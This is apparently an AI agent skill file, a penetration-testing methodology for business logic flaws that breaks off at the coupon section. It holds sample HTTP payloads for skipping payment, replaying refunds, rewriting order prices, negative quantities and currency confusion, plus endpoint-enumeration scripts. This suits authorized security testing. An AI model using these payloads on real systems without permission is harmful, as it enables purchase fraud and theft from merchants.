$npx -y skills add SnailSploit/Claude-Red --skill offensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries
| 1 | # Business Logic — Offensive Testing Methodology |
| 2 | |
| 3 | Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept. |
| 4 | |
| 5 | ## Quick Workflow |
| 6 | |
| 7 | 1. Map every multi-step flow as a state machine (states + allowed transitions + side effects) |
| 8 | 2. For each transition, ask: who can call it, in what state, with what inputs, how many times |
| 9 | 3. Probe each axis (state, identity, input, frequency) for assumptions |
| 10 | 4. Combine flaws — single-axis flaws are usually low severity; chains are critical |
| 11 | 5. Quantify financial impact per finding (loss-per-attack × scale) |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## Reconnaissance — Mapping the Logic |
| 16 | |
| 17 | ### Build the State Machine |
| 18 | |
| 19 | For each user flow, draw: |
| 20 | - **States**: cart, pending payment, paid, shipped, refunded, cancelled |
| 21 | - **Transitions**: which API/UI action, which role, which preconditions |
| 22 | - **Side effects**: balance change, inventory change, email, webhook |
| 23 | |
| 24 | Look for transitions that: |
| 25 | - Skip intermediate states (`cart` → `shipped` without `paid`) |
| 26 | - Are reversible when they shouldn't be (`shipped` → `cart`) |
| 27 | - Trigger side effects more than once |
| 28 | - Allow cross-role invocation |
| 29 | |
| 30 | ### Hidden / Internal Endpoints |
| 31 | |
| 32 | ```bash |
| 33 | # Compare authenticated and unauthenticated JS bundles for buried admin routes |
| 34 | diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js) |
| 35 | |
| 36 | # Look for flag/feature toggles that change UI but not server-side enforcement |
| 37 | grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js |
| 38 | |
| 39 | # API spec (OpenAPI/Swagger) often lists endpoints the UI never calls |
| 40 | curl https://app/api/openapi.json | jq '.paths | keys' |
| 41 | ``` |
| 42 | |
| 43 | --- |
| 44 | |
| 45 | ## Workflow / State-Machine Bypass |
| 46 | |
| 47 | ### Skip a Required Step |
| 48 | |
| 49 | ```http |
| 50 | # Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard |
| 51 | # Try jumping directly: |
| 52 | GET /dashboard |
| 53 | GET /api/account/details |
| 54 | POST /api/payout-settings |
| 55 | ``` |
| 56 | |
| 57 | ```http |
| 58 | # Checkout flow: /cart → /address → /shipping → /payment → /confirm |
| 59 | # Skip /payment by replaying /confirm with a previous order's payment-token reference: |
| 60 | POST /api/order/confirm |
| 61 | { "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" } |
| 62 | ``` |
| 63 | |
| 64 | ### Replay a One-Time Action |
| 65 | |
| 66 | ```http |
| 67 | # Refund endpoint without idempotency |
| 68 | POST /api/orders/123/refund # First call: $50 refunded, order marked refunded |
| 69 | POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU) |
| 70 | ``` |
| 71 | |
| 72 | ### State Downgrade |
| 73 | |
| 74 | Move a finalized object back to an editable state where mutations have effect: |
| 75 | |
| 76 | ```http |
| 77 | PUT /api/order/123 |
| 78 | { "status": "draft" } # If accepted, you can now edit the price field |
| 79 | PUT /api/order/123 |
| 80 | { "items": [{ "id": "tv", "price": 1 }] } |
| 81 | ``` |
| 82 | |
| 83 | ### Direct Endpoint Invocation |
| 84 | |
| 85 | Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them. |
| 86 | |
| 87 | ```bash |
| 88 | # Enumerate verbs on every discovered path |
| 89 | for path in $(cat paths.txt); do |
| 90 | for v in GET POST PUT PATCH DELETE OPTIONS; do |
| 91 | code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path) |
| 92 | echo "$v $path $code" |
| 93 | done |
| 94 | done | grep -v -E ' (401|403|404) ' |
| 95 | ``` |
| 96 | |
| 97 | --- |
| 98 | |
| 99 | ## Price / Quantity / Currency Manipulation |
| 100 | |
| 101 | ### Negative / Zero / Float Quantities |
| 102 | |
| 103 | ```http |
| 104 | POST /api/cart/add |
| 105 | { "sku": "tv", "qty": -1 } # Refund issued for adding negative items? |
| 106 | { "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped? |
| 107 | { "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost? |
| 108 | ``` |
| 109 | |
| 110 | ### Hidden Price Fields |
| 111 | |
| 112 | ```http |
| 113 | POST /api/checkout |
| 114 | { "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 } |
| 115 | ``` |
| 116 | |
| 117 | If the server trusts client-supplied `price`, you set the price. Test every numeric field — `price`, `total`, `discount`, `tax`, `shipping`, `subtotal`, `currency`. |
| 118 | |
| 119 | ### Currency Confusion |
| 120 | |
| 121 | ```http |
| 122 | POST /api/checkout |
| 123 | { "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product? |
| 124 | { "amount": 100, "currency": "VND" } # Even better |
| 125 | { "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1? |
| 126 | ``` |
| 127 | |
| 128 | Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input. |
| 129 | |
| 130 | ### Coupon / D |